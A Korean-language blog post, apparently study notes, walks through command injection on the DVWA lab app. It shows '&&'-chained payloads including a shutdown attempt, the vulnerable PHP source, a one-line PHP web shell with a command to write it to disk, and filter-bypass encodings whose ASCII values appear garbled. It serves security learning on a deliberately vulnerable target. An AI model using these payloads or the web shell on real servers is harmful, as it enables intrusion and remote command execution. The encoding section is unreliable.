명령어를 주입
대상 : 웹(HTTP) --> 80번 포트 --> apache deamon --> PHP/PHP-FPM
사용 가능한 코드 : apache --> HTML, Script / PHP --> php
server/client side code종류는 환경에 따라 바뀔 수 있음.
Injection을 위해서 기본적으로 동작되는 환경을 파악할 필요가 있음.
Injection 과정
1. 명령어의 기본적인 동작을 확인
--> 이를 활용하여 고정된 명령어(입력값)을 확인
2. 확인한 값을 이용하여 Injection이 가능한지 확인
불가능 할 경우 이를 우회할 방법 탐색
(Filtering 우회, Length 제한 우회 등)
3. Injection을 통해 임의의 동작을 실행.
DVWA Commend Injection
기본 화면
IP 주소 입력
Ping 결과가 4회 나오는것을 확인
--> 명령어가 ping -c 4 [입력값] 의 형태인것으로 유추 가능
172.16.20.1&&ls 입력
&&기호를 이용해서 명령어가 실행 가능.
172.16.20.1&&pwd 입력
경로 확인.
172.16.20.1&&init 0 입력
서버가 다운되지 않음.
--> www사용자 권한으로 명령어가 실행되기 때문.
사이트 소스코드
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
shell_exec() : 시스템에 실행 명령을 전달.
echo : 출력문
echo shell_exec() : 시스템에 실행 명령을 전달 후 결과를 출력
이를 이용해 PHP 웹 쉘 작성 가능
Oneline PHP Webshell
<?php
echo shell_exec($_GET['cmd'])
?>
get query string으로 cmd = [명령어] 형태 요청시 코드가 실행됨.
webshell 작성.
echo "<?php\necho shell_exec($_GET['cmd'])\n?>" > phpshell.php
필터링 우회
&기호 필터링
URL 인코딩 --> %26
ascii 코드 변환(dec) --> 25 32 35
|25 32 36|
&& --> |25 32 36 25 32 36|
'모의해킹 및 보안' 카테고리의 다른 글
SQLi (0) | 2024.10.15 |
---|---|
Netcat (0) | 2024.10.10 |
snort2 (0) | 2024.09.24 |
bWAPP Redhat(CentOS/Rocky) Linux에 설치 (0) | 2024.09.12 |
Longest match rule에 의한 라우팅 테이블 오염 (0) | 2024.09.10 |